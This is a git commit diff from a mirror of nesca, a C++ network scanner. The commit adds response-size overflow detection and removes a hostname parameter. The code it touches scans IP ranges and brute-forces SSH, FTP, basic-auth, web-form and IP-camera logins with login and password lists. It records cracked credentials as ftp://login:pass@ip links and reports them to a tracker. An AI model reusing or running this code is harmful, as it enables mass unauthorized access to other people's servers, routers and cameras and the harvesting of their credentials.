mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Added overflow detection
This commit is contained in:
parent
5c26625f85
commit
c5fc4c16db
@ -104,9 +104,14 @@ int my_trace(CURL *handle, curl_infotype type,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
|
||||||
{
|
{
|
||||||
((std::string*)userp)->append((char*)contents, size * nmemb);
|
((std::string*)userp)->append((char*)contents, size * nmemb);
|
||||||
|
Activity += nmemb;
|
||||||
|
int ssz = ((std::string*)userp)->size();
|
||||||
|
if(ssz > 180000) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
return size * nmemb;
|
return size * nmemb;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -116,10 +121,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
const std::string *lpString){
|
const std::string *lpString){
|
||||||
buffer->clear();
|
buffer->clear();
|
||||||
CURL *curl = curl_easy_init();
|
CURL *curl = curl_easy_init();
|
||||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
|
|
||||||
|
|
||||||
if (curl)
|
if (curl)
|
||||||
{
|
{
|
||||||
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
|
||||||
if (MapWidgetOpened) {
|
if (MapWidgetOpened) {
|
||||||
struct data config;
|
struct data config;
|
||||||
config.trace_ascii = 1; /* enable ascii tracing */
|
config.trace_ascii = 1; /* enable ascii tracing */
|
||||||
@ -178,14 +183,15 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
(port == 21 && buffer->size() > 0)) {
|
(port == 21 && buffer->size() > 0)) {
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
Activity += buffer->size();
|
Activity += buffer->size();
|
||||||
return buffer->size();
|
return buffer->size();
|
||||||
} else {
|
} else {
|
||||||
if (res != 28 &&
|
if (res != 28 &&
|
||||||
res != 7 &&
|
res != 7 &&
|
||||||
res != 67 &&
|
res != 67 &&
|
||||||
res != 52 &&
|
res != 52 &&
|
||||||
res != 55 &&
|
res != 55 &&
|
||||||
res != 56) {
|
res != 56 &&
|
||||||
|
res != 23) {
|
||||||
if (res == 5) {
|
if (res == 5) {
|
||||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||||
return -2;
|
return -2;
|
||||||
@ -215,24 +221,29 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
|
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
|
||||||
QString(ip) + ":" + QString::number(port));
|
QString(ip) + ":" + QString::number(port));
|
||||||
}
|
}
|
||||||
++offlines;
|
|
||||||
return -1;
|
if(res == 23 && buffer->size() > 0) {
|
||||||
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
|
||||||
|
return buffer->size();
|
||||||
|
} else {
|
||||||
|
stt->doEmitionOffline(QString::number(++offlines));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
stt->doEmitionRedFoundData("Curl error.");
|
stt->doEmitionRedFoundData("Curl error.");
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||||
Activity += buffer->size();
|
|
||||||
return buffer->size();
|
return buffer->size();
|
||||||
}
|
}
|
||||||
|
|
||||||
int Connector::_ConnectToPort(std::string ip, int port, char *hl)
|
int Connector::_ConnectToPort(char* ip, int port)
|
||||||
{
|
{
|
||||||
if(gPingNScan)
|
if(gPingNScan)
|
||||||
{
|
{
|
||||||
if(_pingMyTarget(ip.c_str()) == 0)
|
if(_pingMyTarget(ip) == 0)
|
||||||
{
|
{
|
||||||
return -2;
|
return -2;
|
||||||
};
|
};
|
||||||
@ -241,8 +252,8 @@ int Connector::_ConnectToPort(std::string ip, int port, char *hl)
|
|||||||
std::string buffer;
|
std::string buffer;
|
||||||
int size = 0;
|
int size = 0;
|
||||||
|
|
||||||
if (port == 22) size = SSHAuth::SSHLobby(ip.c_str(), port, &buffer);
|
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer);
|
||||||
else size = nConnect(ip.c_str(), port, &buffer);
|
else size = nConnect(ip, port, &buffer);
|
||||||
|
|
||||||
if(size > 0)
|
if(size > 0)
|
||||||
{
|
{
|
||||||
@ -250,7 +261,7 @@ int Connector::_ConnectToPort(std::string ip, int port, char *hl)
|
|||||||
++found;
|
++found;
|
||||||
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
|
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
|
||||||
Lexems lx;
|
Lexems lx;
|
||||||
lx._filler(port, buffer.c_str(), (char*)ip.c_str(), size, &lx, hl);
|
lx._filler(port, buffer.c_str(), ip, size, &lx);
|
||||||
};
|
};
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
@ -17,6 +17,6 @@ public:
|
|||||||
const char *postData = NULL,
|
const char *postData = NULL,
|
||||||
const std::vector<std::string> *customHeaders = NULL,
|
const std::vector<std::string> *customHeaders = NULL,
|
||||||
const std::string *lpString = NULL);
|
const std::string *lpString = NULL);
|
||||||
static int _ConnectToPort(std::string ip, int port, char *hl);
|
static int _ConnectToPort(char *ip, int port);
|
||||||
};
|
};
|
||||||
#endif // CONNECTOR_H
|
#endif // CONNECTOR_H
|
||||||
|
@ -8,8 +8,9 @@ std::queue<std::string> Threader::ipQueue;
|
|||||||
|
|
||||||
void Threader::fireThread(std::string ip, void *func(void)) {
|
void Threader::fireThread(std::string ip, void *func(void)) {
|
||||||
|
|
||||||
std::unique_lock<std::mutex> lk(m);
|
std::unique_lock<std::mutex> lk(m);
|
||||||
ipQueue.push(ip);
|
ipQueue.push(ip);
|
||||||
|
|
||||||
if(threadId < gThreads) {
|
if(threadId < gThreads) {
|
||||||
++threadId;
|
++threadId;
|
||||||
std::thread workerThread(func);
|
std::thread workerThread(func);
|
||||||
@ -26,6 +27,6 @@ void Threader::cleanUp() {
|
|||||||
lk.unlock();
|
lk.unlock();
|
||||||
lk.release();
|
lk.release();
|
||||||
threadId = 0;
|
threadId = 0;
|
||||||
std::queue<std::string> empty = {};
|
std::queue<std::string> empty = {};
|
||||||
std::swap(ipQueue, empty);
|
std::swap(ipQueue, empty);
|
||||||
}
|
}
|
||||||
|
@ -21,7 +21,6 @@
|
|||||||
extern QJsonArray *jsonArr;
|
extern QJsonArray *jsonArr;
|
||||||
|
|
||||||
extern unsigned long long gTargetsOverall;
|
extern unsigned long long gTargetsOverall;
|
||||||
extern char top_level_domain[128];
|
|
||||||
extern volatile int cons, BrutingThrds, gThreads;
|
extern volatile int cons, BrutingThrds, gThreads;
|
||||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
|
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
|
||||||
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
|
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
|
||||||
@ -40,7 +39,7 @@ extern int found, indexIP, gMode,
|
|||||||
extern unsigned int Activity;
|
extern unsigned int Activity;
|
||||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||||
trcPort[32], trcSrvPortLine[32], saveEndIP[128],
|
trcPort[32], trcSrvPortLine[32], saveEndIP[128],
|
||||||
gRange[128], gFirstDom[128], gPorts[65536],
|
gRange[128], gTLD[128], gPorts[65536],
|
||||||
gProxyIP[64], gProxyPort[8],
|
gProxyIP[64], gProxyPort[8],
|
||||||
currentIP[MAX_ADDR_LEN],
|
currentIP[MAX_ADDR_LEN],
|
||||||
finalIP[32];
|
finalIP[32];
|
||||||
|
195
finder.cpp
195
finder.cpp
@ -346,12 +346,12 @@ int sharedDetector(const char * ip, int port, const char *buffcpy) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 500 < 1600
|
// 500 < 1600
|
||||||
int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip)
|
int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip, int sz)
|
||||||
{
|
{
|
||||||
int flag = sharedDetector(ip, port, buffcpy);
|
int flag = sharedDetector(ip, port, buffcpy);
|
||||||
if(flag != -2) return flag;
|
if(flag != -2) return flag;
|
||||||
|
|
||||||
if(f) return 7;
|
if(f) return 7;
|
||||||
|
if(sz > 180000) return 2;
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@ -365,7 +365,7 @@ int _mainFinderSecond(const char *buffcpy, int port, const char *ip)
|
|||||||
return 3; //Suspicious
|
return 3; //Suspicious
|
||||||
}
|
}
|
||||||
|
|
||||||
int ContentFilter(const char *buff, int port, const char *ip, char *cp)
|
int ContentFilter(const char *buff, int port, const char *ip, char *cp, int sz)
|
||||||
{
|
{
|
||||||
if(buff != NULL)
|
if(buff != NULL)
|
||||||
{
|
{
|
||||||
@ -384,8 +384,7 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
|
|||||||
tempString = toLowerStr(buff);
|
tempString = toLowerStr(buff);
|
||||||
#endif
|
#endif
|
||||||
};
|
};
|
||||||
|
|
||||||
int sz = tempString.size();
|
|
||||||
char *lBuff = new char[sz + 1];
|
char *lBuff = new char[sz + 1];
|
||||||
ZeroMemory(lBuff, sz + 1);
|
ZeroMemory(lBuff, sz + 1);
|
||||||
strcpy(lBuff, tempString.c_str());
|
strcpy(lBuff, tempString.c_str());
|
||||||
@ -393,11 +392,11 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
|
|||||||
|
|
||||||
if(sz <= 500)
|
if(sz <= 500)
|
||||||
{
|
{
|
||||||
res = _mainFinderFirst(lBuff, 1, port, ip);
|
res = _mainFinderFirst(lBuff, 1, port, ip, sz);
|
||||||
}
|
}
|
||||||
else if((sz > 500 && sz <= 3500) || sz > 180000)
|
else if((sz > 500 && sz <= 3500) || sz > 180000)
|
||||||
{
|
{
|
||||||
res = _mainFinderFirst(lBuff, 0, port, ip);
|
res = _mainFinderFirst(lBuff, 0, port, ip, sz);
|
||||||
}
|
}
|
||||||
else if(sz > 3500 && sz <= 180000)
|
else if(sz > 3500 && sz <= 180000)
|
||||||
{
|
{
|
||||||
@ -410,7 +409,7 @@ int ContentFilter(const char *buff, int port, const char *ip, char *cp)
|
|||||||
else return -1;
|
else return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *sz, char *title,
|
void fillGlobalLogData(const char *ip, char *port, const char *sz, char *title,
|
||||||
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
|
const char *login, const char *pass, char *comment, char *cdpg, char *clss)
|
||||||
{
|
{
|
||||||
if(trackerOK == true)
|
if(trackerOK == true)
|
||||||
@ -425,7 +424,7 @@ void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *s
|
|||||||
if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) );
|
if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) );
|
||||||
else jsonData.insert("ip_addr", QJsonValue(QString("")) );
|
else jsonData.insert("ip_addr", QJsonValue(QString("")) );
|
||||||
|
|
||||||
jsonData.insert("hostname", QJsonValue(QString(hostname)) );
|
jsonData.insert("hostname", QJsonValue(QString("")) );
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -680,7 +679,7 @@ void fputsf(char *text, int flag, char *msg)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, char *hl, char *cp)
|
void putInFile(int flag, const char *ip, char *port, int size, char *finalstr, char *cp)
|
||||||
{
|
{
|
||||||
char log[4096] = {0}, msg[512] = {0};
|
char log[4096] = {0}, msg[512] = {0};
|
||||||
|
|
||||||
@ -719,34 +718,34 @@ void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, c
|
|||||||
stt->doEmitionFoundData(resMes);
|
stt->doEmitionFoundData(resMes);
|
||||||
|
|
||||||
sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
|
sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
|
||||||
ip, port, ip, port, recd);
|
ip, port, ip, port, size);
|
||||||
|
|
||||||
if(flag == 666 || flag == 350)
|
if(flag == 666 || flag == 350)
|
||||||
{
|
{
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Strange error");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Strange error");
|
||||||
++PieAnomC1;
|
++PieAnomC1;
|
||||||
++AnomC1;
|
++AnomC1;
|
||||||
}
|
}
|
||||||
else if(flag == 0 || flag == 15 || flag == -10)
|
else if(flag == 0 || flag == 15 || flag == -10)
|
||||||
{
|
{
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Anomaly");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Anomaly");
|
||||||
++PieAnomC1;
|
++PieAnomC1;
|
||||||
++AnomC1;
|
++AnomC1;
|
||||||
}
|
}
|
||||||
else if(flag == 3)
|
else if(flag == 3)
|
||||||
{
|
{
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Suspicious");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Suspicious");
|
||||||
++PieSusp;
|
++PieSusp;
|
||||||
++Susp;
|
++Susp;
|
||||||
}
|
}
|
||||||
else if(flag == 7)
|
else if(flag == 7)
|
||||||
{
|
{
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Low load");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Low load");
|
||||||
++PieLowl;
|
++PieLowl;
|
||||||
}
|
}
|
||||||
else if(flag == 10)
|
else if(flag == 10)
|
||||||
{
|
{
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, "", "", "", cp, "Login form");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Login form");
|
||||||
++PieWF;
|
++PieWF;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -994,7 +993,7 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
|
void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title)
|
||||||
{
|
{
|
||||||
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
|
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
|
||||||
{
|
{
|
||||||
@ -1075,15 +1074,15 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
|
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
|
||||||
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||||
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
///putInFile(flag, ip, tport, size, title, cp);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find form block.");
|
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find form block.");
|
||||||
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||||
putInFile(flag, ip, tport, recd, title, hl, cp);
|
putInFile(flag, ip, tport, size, title, cp);
|
||||||
};
|
};
|
||||||
|
|
||||||
if(strlen(methodVal) == 0)
|
if(strlen(methodVal) == 0)
|
||||||
@ -1150,20 +1149,20 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag
|
|||||||
{
|
{
|
||||||
_specFillerWF(ip, tport, title, lps.login, lps.pass, flag);
|
_specFillerWF(ip, tport, title, lps.login, lps.pass, flag);
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
|
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass);
|
||||||
putInFile(flag, ip, tport, recd, title, hl, cp);
|
putInFile(flag, ip, tport, size, title, cp);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
|
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
|
||||||
///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
||||||
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
///putInFile(flag, ip, tport, size, title, cp);
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
|
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
|
||||||
{
|
{
|
||||||
lopaStr lps;
|
lopaStr lps;
|
||||||
ZeroMemory(lps.login, sizeof(lps.login));
|
ZeroMemory(lps.login, sizeof(lps.login));
|
||||||
@ -1178,13 +1177,13 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int
|
|||||||
{
|
{
|
||||||
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specBrute(const char *ip, int port,
|
void _specBrute(const char *ip, int port,
|
||||||
char *hl, char *finalstr, int flag,
|
char *finalstr, int flag,
|
||||||
char *path, char *comment, char *cp, int recd)
|
char *path, char *comment, char *cp, int size)
|
||||||
{
|
{
|
||||||
char temp[64] = {0};
|
char temp[64] = {0};
|
||||||
char tport[32] = {0};
|
char tport[32] = {0};
|
||||||
@ -1196,7 +1195,7 @@ void _specBrute(const char *ip, int port,
|
|||||||
{
|
{
|
||||||
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
_specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag);
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
fillGlobalLogData(ip, tport, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||||
};
|
};
|
||||||
|
|
||||||
ZeroMemory(temp, sizeof(temp));
|
ZeroMemory(temp, sizeof(temp));
|
||||||
@ -1318,7 +1317,7 @@ const char *GetTitle(const char* str)
|
|||||||
return finalstr;
|
return finalstr;
|
||||||
}
|
}
|
||||||
|
|
||||||
void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
|
void _saveSSH(const char *ip, int port, int size, const char *buffcpy)
|
||||||
{
|
{
|
||||||
if(buffcpy != NULL)
|
if(buffcpy != NULL)
|
||||||
{
|
{
|
||||||
@ -1349,7 +1348,7 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
|
|||||||
const char *ptrl2 = strstr(buffcpy, "@");
|
const char *ptrl2 = strstr(buffcpy, "@");
|
||||||
lpsz = ptrl2 - ptrl1;
|
lpsz = ptrl2 - ptrl1;
|
||||||
strncpy(passSSH, ptrl1 + 1, lpsz);
|
strncpy(passSSH, ptrl1 + 1, lpsz);
|
||||||
fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
fillGlobalLogData(ip, portString, std::to_string(size).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -1363,20 +1362,20 @@ void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
|
int Lexems::_filler(int p, const char* buffcpy, char* ip, int size, Lexems *lx)
|
||||||
{
|
{
|
||||||
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL ||
|
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL ||
|
||||||
strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
|
strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
|
||||||
{
|
{
|
||||||
std::string sshBuff;
|
std::string sshBuff;
|
||||||
int res = SSHAuth::SSHLobby(ip, p, &sshBuff);
|
int res = SSHAuth::SSHLobby(ip, p, &sshBuff);
|
||||||
if(res != -1 && res != -2) _saveSSH(ip, p, recd, (char*)sshBuff.c_str());
|
if(res != -1 && res != -2) _saveSSH(ip, p, size, (char*)sshBuff.c_str());
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
if(p == 22)
|
if(p == 22)
|
||||||
{
|
{
|
||||||
_saveSSH(ip, p, recd, buffcpy);
|
_saveSSH(ip, p, size, buffcpy);
|
||||||
return -1;
|
return -1;
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -1392,7 +1391,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
char cp[32] = {0};
|
char cp[32] = {0};
|
||||||
|
|
||||||
strcpy(cp, GetCodePage(buffcpy));
|
strcpy(cp, GetCodePage(buffcpy));
|
||||||
flag = ContentFilter(buffcpy, p, ip, cp);
|
flag = ContentFilter(buffcpy, p, ip, cp, size);
|
||||||
if(flag == -1 ) return -1;
|
if(flag == -1 ) return -1;
|
||||||
|
|
||||||
strcpy(ps.headr, GetTitle(buffcpy));
|
strcpy(ps.headr, GetTitle(buffcpy));
|
||||||
@ -1404,7 +1403,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
std::vector<std::string> redirStrLst;
|
std::vector<std::string> redirStrLst;
|
||||||
if(flag == 0 || flag == 3 || flag == 7 )
|
if(flag == 0 || flag == 3 || flag == 7 )
|
||||||
{
|
{
|
||||||
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst);
|
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, size);
|
||||||
strcpy(cp, ps.codepage);
|
strcpy(cp, ps.codepage);
|
||||||
if (rh == -1) {
|
if (rh == -1) {
|
||||||
return -1;
|
return -1;
|
||||||
@ -1440,13 +1439,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
++PieBA;
|
++PieBA;
|
||||||
|
|
||||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
|
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
|
||||||
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
|
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
|
||||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
|
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
|
||||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
|
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
|
||||||
|
|
||||||
fputsf (log, flag, "FTP");
|
fputsf (log, flag, "FTP");
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
fillGlobalLogData(ip, port, std::to_string(size).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
|
||||||
|
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||||
}
|
}
|
||||||
@ -1455,13 +1454,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
|
|||||||
++PieBA;
|
++PieBA;
|
||||||
|
|
||||||
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
|
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
|
||||||
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
|
ip, port, size, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
|
||||||
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
|
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)",
|
||||||
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
|
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount);
|
||||||
|
|
||||||
fputsf(log, flag, "FTP");
|
fputsf(log, flag, "FTP");
|
||||||
|
|
||||||
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
